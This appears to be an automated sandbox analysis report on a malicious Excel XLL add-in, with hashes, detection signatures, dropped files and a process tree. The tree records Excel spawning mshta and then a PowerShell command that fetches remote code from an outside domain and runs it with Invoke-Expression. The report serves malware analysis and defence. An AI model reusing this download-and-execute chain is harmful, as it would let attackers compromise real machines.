Analysis

  • max time kernel
    139s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 20:52

General

  • Target

    df1b1ef315ff3a6723352349e0ec670e6930c8d616c5ed35209b114d26ca7e52.xll

  • Size

    12KB

  • MD5

    1cf88a9067d4524501a0e7913eecfa8e

  • SHA1

    6084bbdf8e63321e0daeb4cce6e106b8c536c39c

  • SHA256

    df1b1ef315ff3a6723352349e0ec670e6930c8d616c5ed35209b114d26ca7e52

  • SHA512

    089f2aced8d1efd1071580fec2cfa6201a7e9ff4ae0582c792e4461ee2955eb45187c59be0080dca0be216aeffa47452037e0d5a297eca3b0775569287db93c1

  • SSDEEP

    192:/L29RBzDzeobchBj8JON5ON7rudrEPEjr7Ah2:T29jnbcvYJOCNudvr7C2

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\df1b1ef315ff3a6723352349e0ec670e6930c8d616c5ed35209b114d26ca7e52.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3744
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2904
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4436,i,7012731823941922179,12386606396608877869,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:8
    1⤵
      PID:3544

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YOJF4VYG\d[1].htm

      Filesize

      2KB

      MD5

      f754844cfb65838d1dd6b19dde5d835c

      SHA1

      b3eb677783adc88c8d048898449e04d49f416db6

      SHA256

      3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

      SHA512

      f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jjixwmol.wlz.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\df1b1ef315ff3a6723352349e0ec670e6930c8d616c5ed35209b114d26ca7e52.xll

      Filesize

      12KB

      MD5

      1cf88a9067d4524501a0e7913eecfa8e

      SHA1

      6084bbdf8e63321e0daeb4cce6e106b8c536c39c

      SHA256

      df1b1ef315ff3a6723352349e0ec670e6930c8d616c5ed35209b114d26ca7e52

      SHA512

      089f2aced8d1efd1071580fec2cfa6201a7e9ff4ae0582c792e4461ee2955eb45187c59be0080dca0be216aeffa47452037e0d5a297eca3b0775569287db93c1

    • memory/2904-60-0x0000000005F00000-0x0000000005F4C000-memory.dmp

      Filesize

      304KB

    • memory/2904-59-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

      Filesize

      120KB

    • memory/2904-58-0x0000000005A30000-0x0000000005D84000-memory.dmp

      Filesize

      3.3MB

    • memory/2904-61-0x0000000007500000-0x0000000007B7A000-memory.dmp

      Filesize

      6.5MB

    • memory/2904-48-0x00000000058B0000-0x0000000005916000-memory.dmp

      Filesize

      408KB

    • memory/2904-47-0x00000000057D0000-0x0000000005836000-memory.dmp

      Filesize

      408KB

    • memory/2904-46-0x0000000005630000-0x0000000005652000-memory.dmp

      Filesize

      136KB

    • memory/2904-45-0x0000000004FC0000-0x00000000055E8000-memory.dmp

      Filesize

      6.2MB

    • memory/2904-44-0x00000000028F0000-0x0000000002926000-memory.dmp

      Filesize

      216KB

    • memory/2904-62-0x00000000063E0000-0x00000000063FA000-memory.dmp

      Filesize

      104KB

    • memory/3744-9-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-8-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-16-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-18-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-17-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-14-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-20-0x00007FF96C450000-0x00007FF96C460000-memory.dmp

      Filesize

      64KB

    • memory/3744-12-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-13-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-7-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-11-0x00007FF96C450000-0x00007FF96C460000-memory.dmp

      Filesize

      64KB

    • memory/3744-0-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-10-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-15-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-1-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-4-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-6-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-5-0x00007FF9AEDCD000-0x00007FF9AEDCE000-memory.dmp

      Filesize

      4KB

    • memory/3744-2-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-3-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-69-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/3744-85-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-86-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-88-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-87-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/3744-89-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB